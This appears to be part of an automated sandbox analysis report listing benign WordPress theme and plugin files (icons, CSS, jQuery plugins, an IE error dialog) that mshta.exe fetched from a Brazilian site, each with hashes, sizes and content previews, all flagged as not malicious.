$.extend({}, Owl.Defaults, options);..../... Plugin element.... *

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\pt-br[1].png

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	687
Entropy (8bit):	7.458759901857417
Encrypted:	false
SSDEEP:	12:6v/7m/6T/MxuT6GaUz0uUVijlYa3uTr/xgJawYZnWGLJfcqREdlec:b/67tZaV+YwuPBw0RLrqd8c
MD5:	363DA7C647BE7AEFCF5505F4F89DC205
SHA1:	469D6084D160034D024AF67B4D61C0EDE98CFBA6
SHA-256:	F66C95E006D101DADB1678A583A35F52FBD20C7EB0CB05FF485019DBD0CE1D02
SHA-512:	31551E0ED608813FCA4955BB3ECF3311BF096585FAF0BBF8FA04FEDFCAA54D85B1555D314C074645221417B865AF08C1D86F08670454DF12828A1C4DED220209
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/gtranslate/flags/16/pt-br.png
Preview:	.PNG........IHDR................a....pHYs................ cHRM..z%..............u0...`..:....o._.F...5IDATx..KHTa......s.q.F.il$E.I....iSd..,.ePF;w.....hW......&..%..............F.6...xx.x_!.d'#.Z.~}og,.........V%`:. .(.B.K.......:....-..$.#.(B.&.D......T!.....v..2.."....X..<M.....g...&..Nsh...v..U.0m.B.B....tt...=....UIwW.....j..$.#UL..@.(.&.p...tE.H.b...X..J...O.;...1.w}.a. ..[.-.E..S4...U.?2:...ti.z....G)Lu%Cg....9.-.I...dA.r"..\|#...udp..J._f~1.\|....h.2.s...1.Ym.i...5....j.+W.ez&..d...'.~.d.S.&.7...Zcu.`..^.K...lgd>..1n]H....-..b$2!\|5U\|.M.0.8.,t$...k..r...F.u..qy0.B.V..9....6.hI.e%..#e.`pF.@Ws.!1..g...(..f......"...8.%vZ........>)......IEND.B`.

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\style[1].css

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	66002
Entropy (8bit):	5.19992445499213
Encrypted:	false
SSDEEP:	768:RnQmALZc3HQApqPQ5j2m7Y414TtS6c9eu4SqSIGyU8O/sXi:+mN3kQ5noSWqyU8O/sXi
MD5:	47F3B539EC47105303FE88C5B4DB8BB8
SHA1:	7452E7208C3718CF250E126015876A0D09576818
SHA-256:	B6DF3EA0DB277CDC16BD73D0D3FC2422976E289F3C6E181E5EDF46AADA3B21C1
SHA-512:	70311C6FA62A73C78FAF2974E39B39C35C7413BE826A050D22E06E8C1FB695672063EE84D883F8D737F8578DC86CE2B64BD01B2E97D45DA84AA9A233ECCF3EA2
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/CherryFramework/css/style.css
Preview:	body { position:relative; }..ie8 body { min-width:980px; }.@media (max-width: 767px) {..body.cherry-fixed-layout {...padding-left:0 !important;...padding-right:0 !important;..}.}.@media (max-width: 767px) {..body.cherry-fixed-layout .header, body.cherry-fixed-layout .content-holder, body.cherry-fixed-layout .footer {...padding-left:20px;...padding-right:20px;..}.}.body[class*="span"] {..position:static;..float:none;..min-height:inherit;..margin-left:inherit;.}.a { outline:none; }.a:focus { outline:none; }..main-holder {..position:relative;..z-index:1;.}..cherry-fixed-layout .main-holder {..margin:0 auto;..max-width:980px;..width:auto;..background:#fafafa;.}.@media (min-width: 1200px) {...cherry-fixed-layout .main-holder { max-width:1210px; }.}.@media (min-width: 768px) and (max-width: 979px) {...cherry-fixed-layout .main-holder { max-width:764px; }.}..header {..position:relative;..z-index:99;..padding:30px 0;..border-bottom:1px solid #DDD;..background-color:#eee;.}..logo {..position:re

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\swfobject[1].js

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	10231
Entropy (8bit):	5.498827185914172
Encrypted:	false
SSDEEP:	192:dEBsWGAZvwGxP1hNWwI9V0YOOsFbkRHeZtyIVyX8c727LMoOyXoy7NgvZ4xsnyQ/:dAsWGAZvwGxP1hNWwI9V0YO1NkRHezyV
MD5:	9FFDBA2CFF497D701684657E329871F5
SHA1:	693465E9D9376FD4D2FCD45FFC24F735E1159312
SHA-256:	5FC71212D5F80194F946CC9239D030AAE8B51879EC22BD6F9A793C49E543D1C0
SHA-512:	5DA070D4040661BD167EF22C6F81C7DC6A9ED79F9CC6C662750B9EB3B1F2048E8D782536996EA7C54E961CD514313314EBFA724409CD2F0440D884288C9ECFFA
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-20120417
Preview:	/.SWFObject v2.2 <http://code.google.com/p/swfobject/> ..is released under the MIT License <http://www.opensource.org/licenses/mit-license.php> ./.var swfobject=function(){var D="undefined",r="object",S="Shockwave Flash",W="ShockwaveFlash.ShockwaveFlash",q="application/x-shockwave-flash",R="SWFObjectExprInst",x="onreadystatechange",O=window,j=document,t=navigator,T=false,U=[h],o=[],N=[],I=[],l,Q,E,B,J=false,a=false,n,G,m=true,M=function(){var aa=typeof j.getElementById!=D&&typeof j.getElementsByTagName!=D&&typeof j.createElement!=D,ah=t.userAgent.toLowerCase(),Y=t.platform.toLowerCase(),ae=Y?/win/.test(Y):/win/.test(ah),ac=Y?/mac/.test(Y):/mac/.test(ah),af=/webkit/.test(ah)?parseFloat(ah.replace(/^.webkit\/(\d+(\.\d+)?).$/,"$1")):false,X=!+"\v1",ag=[0,0,0],ab=null;if(typeof t.plugins!=D&&typeof t.plugins[S]==r){ab=t.plugins[S].description;if(ab&&!(typeof t.mimeTypes!=D&&t.mimeTypes[q]&&!t.mimeTypes[q].enabledPlugin)){T=true;X=false;ab=ab.replace(/^.*\s+(\S+\s+\S+$)/,"$1");ag[0]=par

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\arrow_down[1].png

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	PNG image data, 5 x 3, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	208
Entropy (8bit):	5.9194278840524825
Encrypted:	false
SSDEEP:	3:yionv//thPlgolljvrtxBlly43gqwkBDjW3PsFmzRgK3MkOl0tDlWyxtl22Wf4Fm:6v/lhP+4ZQynDi3U6GCMkdVx22W7dp
MD5:	20A650477130C7C2C62C5647131F545B
SHA1:	4615101FCC5DF1FAB3E7DD516D058E1052A8FCB2
SHA-256:	068F35DD132804C7EFFCBCA65F9398D34351339ED2FA7B20EF5E9A6221E76516
SHA-512:	9B5F312C3CE5E504DE7B2B1EE4BDF21F8A27E04329B2793E12F685D70E53D02CBB5E3094F83950573E814303900B77F099331DD4106FB534773D6D60736CA003
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/gtranslate/arrow_down.png
Preview:	.PNG........IHDR.............[6......sBIT....\|.d.....pHYs...........~.....tEXtSoftware.Adobe Fireworks CS4.......tEXtCreation Time.01/09/10......(IDAT..]....0..@....G..HUy........`.FM[......[..g....IEND.B`.

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\camera.min[1].js

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	39402
Entropy (8bit):	5.336241934125691
Encrypted:	false
SSDEEP:	768:HUp+FrGU1OYvR7qO218kwiA2gRDLMjmQyrshT7Db3E8J1KTuDvniryxn7OqOPOtb:6fU1Ox62LvniFFl3D+
MD5:	4338F6FCF6F5F1332747A94E09A65DF4
SHA1:	099715E7293A8B570C46779C7A28B6832E34B72A
SHA-256:	CAD3B6107C8A8F38229ADD27D02A2150E204BA78ACC54144E132A20BA40FC3FE
SHA-512:	1120EC4FB4B981CDDF49F4B9933660F74A8B4B03746B5B329925E32FE5ABD13A675ACBBC8A53A2E2AB4F5C575256D0577B282236A60EEBA977232122577D3DB5
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4
Preview:	// Camera slideshow v1.3.4 - a jQuery slideshow with many effects, transitions, easy to customize, using canvas and mobile ready, based on jQuery 1.4+.// Copyright (c) 2012 by Manuel Masia - www.pixedelic.com.// Licensed under the MIT license: http://www.opensource.org/licenses/mit-license.php.;(function(a){a.fn.camera=function(b,c){function e(){if(navigator.userAgent.match(/Android/i)\|\|navigator.userAgent.match(/webOS/i)\|\|navigator.userAgent.match(/iPad/i)\|\|navigator.userAgent.match(/iPhone/i)\|\|navigator.userAgent.match(/iPod/i)){return true}}function H(){var b=a(s).width();a("li",s).removeClass("camera_visThumb");a("li",s).each(function(){var c=a(this).position(),d=a("ul",s).outerWidth(),e=a("ul",s).offset().left,f=a("> div",s).offset().left,g=f-e;if(g>0){a(".camera_prevThumbs",V).removeClass("hideNav")}else{a(".camera_prevThumbs",V).addClass("hideNav")}if(d-g>b){a(".camera_nextThumbs",V).removeClass("hideNav")}else{a(".camera_nextThumbs",V).addClass("hideNav")}var h=c.left,i=c.left+

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\cherry-plugin[1].css

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	31422
Entropy (8bit):	5.000880526077528
Encrypted:	false
SSDEEP:	768:TFGFeFRavlJesa3UrJB2ZJFqxF1lFGFesjFXF643F933gVFAMF9J:TIEra9gsa3UrJB2ZJMzlIEsjhEoL33U1
MD5:	8ADC9563E564E9A3DE844DF686CAE8A5
SHA1:	B97B5FCAD7BEA9E7D88B0462AAA9D3D24376C3E8
SHA-256:	B04E93D31D6325159B13956EA9CF31A8B1DB7A02AFD91E781609ADFA651AEF18
SHA-512:	C4406AFE68209188474D5960A5DB5E9769E001C648D8B70C9204A3FB6EA7D4F161CD5FA2D349024F7B9F5E9AD145E51A91DD285CE062742CBA29A106C68D03C8
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/css/cherry-plugin.css?ver=1.2.8.1
Preview:	/* #Shortcodes.================================================== /./ Recent Posts Shortcodes.---------------------------------------- /..recent-posts {. overflow: hidden;. margin: 0 0 0 -20px !important;. padding: 0;. border: none;. list-style: none;. / Images Format Type /. / Quote Format Type /. / Link Format Type /. / Audio Format Type /. / Video Format Type */.}..recent-posts_li {. margin: 0 0 20px 20px;. padding: 0;. border: none;. background: none;. list-style-type: none;.}..recent-posts_li .featured-thumbnail {. float: left;. margin: 0 20px 0 0;.}..recent-posts_li h5 {. margin-bottom: 0;. font-size: 1em;.}..recent-posts_li .excerpt {. margin-bottom: 1.5em;.}..recent-posts_li .meta {. display: block;. overflow: hidden;. margin-bottom: .5em;. color: #888;. text-transform: uppercase;. font-size: 10px;.}..recent-posts_li .post-date {. float: left;.}..recent-posts_li .post-comments {. float: right;.}..recent-posts .format-image {. float: left

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\content_bg4[1].jpg

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop CS5 Windows, datetime=2014:09:09 11:29:49], baseline, precision 8, 2208x1150, frames 3
Category:	downloaded
Size (bytes):	891583
Entropy (8bit):	7.917669644382096
Encrypted:	false
SSDEEP:	24576:Q97s84R+LWUXF0xbeQBvylH8MyqDD08UiFod:Q97s83LWUXFZhuqDDZfm
MD5:	68287B4A0457A01B4244FBB136D147B7
SHA1:	8092DFB1D44BCFDEF01F85778D15B27FFDEF274B
SHA-256:	16AA3453FC8DA749206989DA29E9EAD11FD86B52074E177151412F954072C290
SHA-512:	84D2908196F325F7B4B801A6826D780E236328D219B1CE9ACC41C6AA342E0C12C6319E0A99C938F8EFA64B080402713B6E4FFD7C68F5B5D7938DE640FA07D028
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/theme51253/images/content_bg4.jpg
Preview:	......Exif..MM.*.............................b...........j.(...........1.........r.2...........i....................'.......'.Adobe Photoshop CS5 Windows.2014:09:09 11:29:49........................................~...........................................&.(.................................L.......H.......H..........Adobe_CM......Adobe.d.................................................................................................................................................S...."................?..........................................................................3......!.1.AQa."q.2.....B#$.R.b34r..C.%.S...cs5....&D.TdE.t6..U.e...u..F'...............Vfv........7GWgw........................5.....!1..AQaq"..2.....B#.R..3$b.r..CS.cs4.%......&5..D.T..dEU6te....u..F...............Vfv........'7GWgw.................?.....f{BP..e`-T$.R..U.....$..>H.>..w......E........c....A. .......w.8.v...........-........cC@ua...._.0.......w.....O.g........1...H....$...>.nW..Sh.4....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\device.min[1].js

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	2778
Entropy (8bit):	4.92970371310333
Encrypted:	false
SSDEEP:	48:xLnN+tyKOxwaPYuxwFAmKldNzr1JhxPE63haDJ77LMeHrc76cCgP:hTPCoEt6
MD5:	CCD1C11A6BA5DF0CBFC470B04A3739F4
SHA1:	A8864D81DE7689672EF8F916E430AAABF563C22D
SHA-256:	A6BA246C6B7B60AFFBB369C8884D172DD3E4702A594F09BBA678A7773A25E411
SHA-512:	31F7B74A31E796534D0F51BD9BC9004BDD30EE896D987300A220DADAA526753C9C6D00081F4E9D18EA2BF875C776D6ED55CBA62404B22534BCD45A277EC45A79
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0
Preview:	/! device.js 0.1.58 /.(function(){var a,b,c,d,e,f,g,h,i,j;a=window.device,window.device={},c=window.document.documentElement,j=window.navigator.userAgent.toLowerCase(),device.ios=function(){return device.iphone()\|\|device.ipod()\|\|device.ipad()},device.iphone=function(){return d("iphone")},device.ipod=function(){return d("ipod")},device.ipad=function(){return d("ipad")},device.android=function(){return d("android")},device.androidPhone=function(){return device.android()&&d("mobile")},device.androidTablet=function(){return device.android()&&!d("mobile")},device.blackberry=function(){return d("blackberry")\|\|d("bb10")\|\|d("rim")},device.blackberryPhone=function(){return device.blackberry()&&!d("tablet")},device.blackberryTablet=function(){return device.blackberry()&&d("tablet")},device.windows=function(){return d("windows")},device.windowsPhone=function(){return device.windows()&&d("phone")},device.windowsTablet=function(){return device.windows()&&d("touch")},device.fxos=function(){return(

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\error[1]

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	HTML document, UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	3247
Entropy (8bit):	5.459946526910292
Encrypted:	false
SSDEEP:	96:vKFlZ/kxjqD9zqp36wxVJddFAdd5Ydddopdyddv+dd865FhlleXckVDuca:C0pv+GkduSDl6LRa
MD5:	16AA7C3BEBF9C1B84C9EE07666E3207F
SHA1:	BF0AFA2F8066EB7EE98216D70A160A6B58EC4AA1
SHA-256:	7990E703AE060C241EBA6257D963AF2ECF9C6F3FBDB57264C1D48DDA8171E754
SHA-512:	245559F757BAB9F3D63FB664AB8F2D51B9369E2B671CF785A6C9FB4723F014F5EC0D60F1F8555D870855CF9EB49F3951D98C62CBDF9E0DC1D28544966D4E70F1
Malicious:	false
Preview:	...<HTML id=dlgError STYLE="font-family: ms sans serif; font-size: 8pt;..width: 41.4em; height: 24em">..<HEAD>..<meta http-equiv="Content-Type" content="text/html; charset=utf-8">..<META HTTP-EQUIV="MSThemeCompatible" CONTENT="Yes">..<TITLE id=dialogTitle>..Script Error..</TITLE>..<SCRIPT>..var L_Dialog_ErrorMessage = "An error has occurred in this dialog.";..var L_ErrorNumber_Text = "Error: ";..var L_ContinueScript_Message = "Do you want to debug the current page?";..var L_AffirmativeKeyCodeLowerCase_Number = 121;..var L_AffirmativeKeyCodeUpperCase_Number = 89;..var L_NegativeKeyCodeLowerCase_Number = 110;..var L_NegativeKeyCodeUpperCase_Number = 78;..</SCRIPT>..<SCRIPT LANGUAGE="JavaScript" src="error.js" defer></SCRIPT>..</HEAD>..<BODY ID=bdy onLoad="loadBdy()" style="font-family: 'ms sans serif';..font-size: 8pt; background: threedface; color: windowtext;" topmargin=0>..<CENTER id=ctrErrorMessage>..<table id=tbl1 cellPadding=3 cellspacing=3 border=0..style="background: buttonface

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\error[2]

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1706
Entropy (8bit):	5.274543201400288
Encrypted:	false
SSDEEP:	48:NIAbzyYh8rRLkRVNaktqavP61GJZoF+SMy:xWqxztqaHO
MD5:	B9BEC45642FF7A2588DC6CB4131EA833
SHA1:	4D150A53276C9B72457AE35320187A3C45F2F021
SHA-256:	B0ABE318200DCDE42E2125DF1F0239AE1EFA648C742DBF9A5B0D3397B903C21D
SHA-512:	C119F5625F1FC2BCDB20EE87E51FC73B31F130094947AC728636451C46DCED7B30954A059B24FEF99E1DB434581FD9E830ABCEB30D013404AAC4A7BB1186AD3A
Malicious:	false
Preview:	...window.onerror = HandleError..function HandleError(message, url, line)..{..var str = L_Dialog_ErrorMessage + "\n\n"..+ L_ErrorNumber_Text + line + "\n"..+ message;..alert (str);..window.close();..return true;..}..function loadBdy()..{..var objOptions = window.dialogArguments;..btnNo.onclick = new Function("btnOKClick()");..btnNo.onkeydown = new Function("SwitchFocus()");..btnYes.onclick = new Function("btnYesClick()");..btnYes.onkeydown = new Function("SwitchFocus()");..document.onkeypress = new Function("docKeypress()");..spnLine.innerText = objOptions.getAttribute("errorLine");..spnCharacter.innerText = objOptions.getAttribute("errorCharacter");..spnError.innerText = objOptions.getAttribute("errorMessage");..spnCode.innerText = objOptions.getAttribute("errorCode");..txaURL.innerText = objOptions.getAttribute("errorUrl");..if (objOptions.errorDebug)..{..divDebug.innerText = L_ContinueScript_Message;..}..btnYes.focus();..}..function SwitchFocus()..{..var HTML_KEY_ARROWLEFT = 37;..

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\error[3]

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	HTML document, UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	3247
Entropy (8bit):	5.459946526910292
Encrypted:	false
SSDEEP:	96:vKFlZ/kxjqD9zqp36wxVJddFAdd5Ydddopdyddv+dd865FhlleXckVDuca:C0pv+GkduSDl6LRa
MD5:	16AA7C3BEBF9C1B84C9EE07666E3207F
SHA1:	BF0AFA2F8066EB7EE98216D70A160A6B58EC4AA1
SHA-256:	7990E703AE060C241EBA6257D963AF2ECF9C6F3FBDB57264C1D48DDA8171E754
SHA-512:	245559F757BAB9F3D63FB664AB8F2D51B9369E2B671CF785A6C9FB4723F014F5EC0D60F1F8555D870855CF9EB49F3951D98C62CBDF9E0DC1D28544966D4E70F1
Malicious:	false
Preview:	...<HTML id=dlgError STYLE="font-family: ms sans serif; font-size: 8pt;..width: 41.4em; height: 24em">..<HEAD>..<meta http-equiv="Content-Type" content="text/html; charset=utf-8">..<META HTTP-EQUIV="MSThemeCompatible" CONTENT="Yes">..<TITLE id=dialogTitle>..Script Error..</TITLE>..<SCRIPT>..var L_Dialog_ErrorMessage = "An error has occurred in this dialog.";..var L_ErrorNumber_Text = "Error: ";..var L_ContinueScript_Message = "Do you want to debug the current page?";..var L_AffirmativeKeyCodeLowerCase_Number = 121;..var L_AffirmativeKeyCodeUpperCase_Number = 89;..var L_NegativeKeyCodeLowerCase_Number = 110;..var L_NegativeKeyCodeUpperCase_Number = 78;..</SCRIPT>..<SCRIPT LANGUAGE="JavaScript" src="error.js" defer></SCRIPT>..</HEAD>..<BODY ID=bdy onLoad="loadBdy()" style="font-family: 'ms sans serif';..font-size: 8pt; background: threedface; color: windowtext;" topmargin=0>..<CENTER id=ctrErrorMessage>..<table id=tbl1 cellPadding=3 cellspacing=3 border=0..style="background: buttonface

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\jplayer.playlist.min[1].js

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	HTML document, ASCII text, with very long lines
Category:	downloaded
Size (bytes):	8844
Entropy (8bit):	5.1067637688011125
Encrypted:	false
SSDEEP:	96:dv+TrZD5ip1yplBpElBpqdpw2pu9pA2/U7F2SOZ9lKMBIfpxTb8CGK2jhsBdy8bp:d0BCIZWBgVkSDSmmhDIHK4wVYH4cUdb0
MD5:	F05AC1D7BF95BA34B8BCB05D4455D2E6
SHA1:	F27305CA2CBCCA78715683611FFF72DF3F1359CD
SHA-256:	6D7D547D752E1999718DD64FD26DDEFA7EEDADBB11A6461248C520BEAF0D6022
SHA-512:	C05432C613C91ABAB1BE1B564278400DEEAEDEDE50528A928CD9ADE047899FB4EE55D5843845D286450CA38EA440C00021CFD3F93873547D7F53BAF138096AF3
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/CherryFramework/js/jplayer.playlist.min.js?ver=2.3.0
Preview:	/. Playlist Object for the jPlayer Plugin. * http://www.jplayer.org. . Copyright (c) 2009 - 2013 Happyworm Ltd. * Dual licensed under the MIT and GPL licenses.. * - http://www.opensource.org/licenses/mit-license.php. * - http://www.gnu.org/copyleft/gpl.html. . Author: Mark J Panaghiston. * Version: 2.3.0. * Date: 20th April 2013. . Requires:. * - jQuery 1.7.0+. * - jPlayer 2.3.0+. */.(function(b,f){jPlayerPlaylist=function(a,c,d){var e=this;this.current=0;this.removing=this.shuffled=this.loop=!1;this.cssSelector=b.extend({},this._cssSelector,a);this.options=b.extend(!0,{keyBindings:{next:{key:39,fn:function(){e.next()}},previous:{key:37,fn:function(){e.previous()}}}},this._options,d);this.playlist=[];this.original=[];this._initPlaylist(c);this.cssSelector.title=this.cssSelector.cssSelectorAncestor+" .jp-title";this.cssSelector.playlist=this.cssSelector.cssSelectorAncestor+" .jp-playlist";.this.cssSelector.next=this.cssSelector.cssSelectorAncestor+" .jp-next";this.cssSel

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\jquery.jplayer.min[1].js

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	54355
Entropy (8bit):	5.24962012461709
Encrypted:	false
SSDEEP:	1536:7csOF0XSMqEk3nRw9o5cfQPfu5+6Vo5aUuyEwVUEn6:7f4dfPfu51W53EWR6
MD5:	8FBB3319230D3C08397B7BDA5BCB1DC2
SHA1:	E7C9CBBFA4EC48771C03878949AD0A4128BABF62
SHA-256:	493DB6D1EC51719B44E204D0594B5BCBDC81CE173A64D3E90513A468CECBD383
SHA-512:	0BEA93F519BD1D9C10D41A8345807CBCE0D5C8C0FCF98D4B325EA00587474E05138C279469AECB0A3D0054A2941E380E6EC5839D7A6230697CD23F6DFC0718D0
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.jplayer.min.js?ver=2.6.0
Preview:	/. jPlayer Plugin for jQuery JavaScript Library. * http://www.jplayer.org. . Copyright (c) 2009 - 2014 Happyworm Ltd. * Licensed under the MIT license.. * http://opensource.org/licenses/MIT. . Author: Mark J Panaghiston. * Version: 2.6.0. * Date: 2nd April 2014. */..(function(b,f){"function"===typeof define&&define.amd?define(["jquery"],f):b.jQuery?f(b.jQuery):f(b.Zepto)})(this,function(b,f){b.fn.jPlayer=function(a){var c="string"===typeof a,d=Array.prototype.slice.call(arguments,1),e=this;a=!c&&d.length?b.extend.apply(null,[!0,a].concat(d)):a;if(c&&"_"===a.charAt(0))return e;c?this.each(function(){var c=b(this).data("jPlayer"),h=c&&b.isFunction(c[a])?c[a].apply(c,d):c;if(h!==c&&h!==f)return e=h,!1}):this.each(function(){var c=b(this).data("jPlayer");c?c.option(a\|\|.{}):b(this).data("jPlayer",new b.jPlayer(a,this))});return e};b.jPlayer=function(a,c){if(arguments.length){this.element=b(c);this.options=b.extend(!0,{},this.options,a);var d=this;this.element.bind("remove.jPlayer",

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\jquery.simplr.smoothscroll.min[1].js

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	946
Entropy (8bit):	5.1855423510973475
Encrypted:	false
SSDEEP:	24:2GPs6G3ILAMbiEm8QKov1mxulWM8cQ2x17JxrIv:24EMeLQxuj8cQUjVS
MD5:	72944D2F940D2AB8DFDCAA537A9ECDEE
SHA1:	D94FA468B83F9B76EB8F97CEFC6312FBD173A848
SHA-256:	547887F6237649D22B102EDD455869D14A02D3B393CFF5A5886624E4D08DCB3A
SHA-512:	58D77C35684959DBF8B70452CA0D74AE94233055959A3663C44CEC2511045E9BE4665C7F02A0E1DB1B8F2209BD89089FE438EB51F36257F832EC707BC4419C4E
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.simplr.smoothscroll.min.js?ver=1.0
Preview:	/* jquery.simplr.smoothscroll version 1.0 copyright (c) 2012 https://github.com/simov/simplr-smoothscroll licensed under MIT */..jQuery(document).ready(function($) {. if(!device.mobile() && !device.tablet()){. $.srSmoothscroll({. step:150,. speed:800. });. }.});..;(function(e){"use strict";e.srSmoothscroll=function(t){var platform = window.navigator.platform; if ((platform === 'MacIntel' \|\| platform === 'MacPPC')){return false}; var n=e.extend({step:170,speed:1000,ease:"swing"},t\|\|{});var r=e(window),i=e(document),s=0,o=n.step,u=n.speed,a=r.height(),f=navigator.userAgent.indexOf("AppleWebKit")!==-1?e("body"):e("html"),l=false;e("body").mousewheel(function(e,t){l=true;if(t<0)s=s+a>=i.height()?s:s+=o;else s=s<=0?0:s-=o;f.stop().animate({scrollTop:s},u,n.ease,function(){l=false});return false});r.on("resize",function(e){a=r.height()}).on("scroll",function(e){if(!l)s=r.scrollTop()})}})(jQuery);.

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\jquery.zaccordion.min[1].js

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	10762
Entropy (8bit):	5.077152335060303
Encrypted:	false
SSDEEP:	192:UJrUdgSDnkqTJT3De0no2zDEJEBk/UdjwUSPh/im9X:UJvSDnTJTa0nocEJrUdjwUSJ/im9X
MD5:	83587A80FA209ADBA2AE7D9C7D817790
SHA1:	0AD068CE6FB22A723676D786D0F5AA8922E34814
SHA-256:	3454594300968DF56A52E0EF020632006412FB99ABEF27D917E21A715C586225
SHA-512:	527C20333ED686C4382B5D2651AA94B202A8E180BCC36954B0395DBB0E5AD4E285882049BE2C9BF245522490AF012E98DE0931E3CFB24F7147F3811CE2DFE440
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.0
Preview:	(function(a){a.fn.zAccordion=function(e){var d={timeout:6000,width:null,slideWidth:null,tabWidth:null,height:null,startingSlide:0,slideClass:null,easing:null,speed:1200,auto:true,trigger:"click",pause:true,invert:false,animationStart:function(){},animationComplete:function(){},buildComplete:function(){},errors:false},c={displayError:function(g,f){if(window.console&&f){console.log("zAccordion: "+g+".")}},findChildElements:function(f){if(f.children().get(0)===undefined){return false}else{return true}},getNext:function(g,h){var f=h+1;if(f>=g){f=0}return f},fixHeight:function(f){if((f.height===null)&&(f.slideHeight!==undefined)){f.height=f.slideHeight;return true}else{if((f.height!==null)&&(f.slideHeight===undefined)){return true}else{if((f.height===null)&&(f.slideHeight===undefined)){return false}}}},getUnits:function(f){if(f!==null){if(f.toString().indexOf("%")>-1){return"%"}else{if(f.toString().indexOf("px")>-1){return"px"}else{return"px"}}}},toInteger:function(f){if(f!==null){return pa

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\owl.carousel[1].css

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	5924
Entropy (8bit):	5.072069034552564
Encrypted:	false
SSDEEP:	48:A/ZGnrZNGkS5fS0sGukCMiVG9/WDLqI+TlZ7kKXQmMfdScuFeUK7rqW9dvgOGH6o:oZ0ZQolYC1+kp+5Z7kKXQmGoeUK7+P
MD5:	2737F7BF6C359378B907AE244C7C41C3
SHA1:	14C848EA1F424CD82CBF1F732BBEB0D50F06169F
SHA-256:	2EDF2AA5AAA3ABEDE8968ECCFE9871849205188186D1AE62F14AB3FF4BB8EF6C
SHA-512:	994CBEE171BF10EA517579819D6F82C446F10ADFF9DB72EB78771560DC8DB855799D1B9B4E6360EA4E2010965569F46BB371B1E75398FDF5510D2BCC8FC1BC60
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.carousel.css?ver=1.24
